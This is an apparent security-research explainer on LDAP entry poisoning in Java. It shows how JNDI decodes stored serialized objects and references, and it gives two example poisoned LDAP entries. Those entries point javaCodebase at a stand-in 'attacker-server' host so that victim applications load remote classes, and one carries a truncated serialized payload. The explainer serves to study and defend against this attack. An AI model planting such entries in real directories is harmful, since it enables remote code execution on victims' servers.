LDAP can be used to store Java objects by using several special Java attributes

There are at least three ways a Java object can be stored in an LDAP directory:

  • Using Java Serialization
  • Using JNDI References
  • Using Remote Locations (deprecated?)

The decoding of these objects by the javax.naming.spi.NamingManager will result in remote code execution

Lookup (Naming) vs Search (Directory)

  • Directory Services allow the assignment of Attributes to stored Entries.
  • Lookup operations are allowed but not widely used.
  • Search operations that request Entry attributes are the normal way to query Directories:

Example search operation:

Search(“uid=john,ou=People,dc=example,dc=org”)

Example search response (list of attributes):

ObjectClass: inetOrgPerson
UID: john
Name: John Smith
Email Address: john@acme.com
Location: Vegas, NV

If the search was conducted requesting that the entry’s object be returned (i.e. SearchControls.setReturningObjFlag() was invoked with true):

  • then javax.naming.directory.SearchResult will contain an object that represents the entry

If a java.io.Serializable, Referenceable, or Reference object was previously bound to that LDAP name:

  • then the attributes from the entry are used to reconstruct that object

Otherwise:

  • the attributes from the entry are used to create a javax.naming.directory.DirContext instance that represents the LDAP entry

Java Object Decoding

Let’s look into com.sun.jndi.ldap.Ldap{Search|Binding}Enumeration

// only generate object when requested
if (searchArgs.cons.getReturningObjFlag()) {
    if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
        // Entry contains Java-object attributes (ser/ref object)
        // serialized object or object reference
        obj = Obj.decodeObject(attrs);
    }
    if (obj == null) {
        obj = new LdapCtx(homeCtx, dn);
    }
    …
}

Java Schema (RFC 2713)

RFC 2713 defines different representations for Java objects so that they can be stored in a Directory Service:

  • Serialized Objects (javaSerializedObject) - a serialized object is represented in the directory by the attributes:
    • javaClassName
    • javaClassNames
    • javaCodebase
    • javaSerializedData
  • JNDI References (javaNamingReference) - contains information to assist in the creation of an instance of the object to which the reference refers
    • javaClassName
    • javaClassNames
    • javaCodebase
    • javaReferenceAddress
    • javaFactory
  • Marshalled Objects (javaMarshalledObject) - marshalling is like serialization, except marshalling also records codebases
    • javaClassName
    • javaClassNames
    • javaSerializedData
  • Remote Location (Deprecated) - Store location of remote RMI objects
    • javaClassName
    • javaRemoteLocation

Entry Poisoning with Serialized Objects

Place payload in javaSerializedData attribute

ObjectClass: inetOrgPerson
UID: john
Name: John Smith
Email Address: john@example.org
Location: Vegas, NV
javaSerializedData: ACED01A43C4432FEEA1489AB89EF11183E499…
javaCodebase: http://attacker-server/
javaClassName: DeserializationPayload

If com.sun.jndi.ldap.object.trustURLCodebase is true

  • attackers can provide their own classes

else

  • attackers will be able to use available classes in the CLASSPATH

Entry Poisoning with JNDI References

Use JNDI Reference using remote factory class:

  • javaClassName - name of referenced object class
  • javaFactory - name of Factory class
  • javaCodebase - location of Factory class
ObjectClass: inetOrgPerson, javaNamingReference
UID: john
Name: John Smith
Email Address: john@example.org
Location: Vegas, NV
javaCodebase: http://attacker-server/
JavaFactory: Factory
javaClassName: MyClass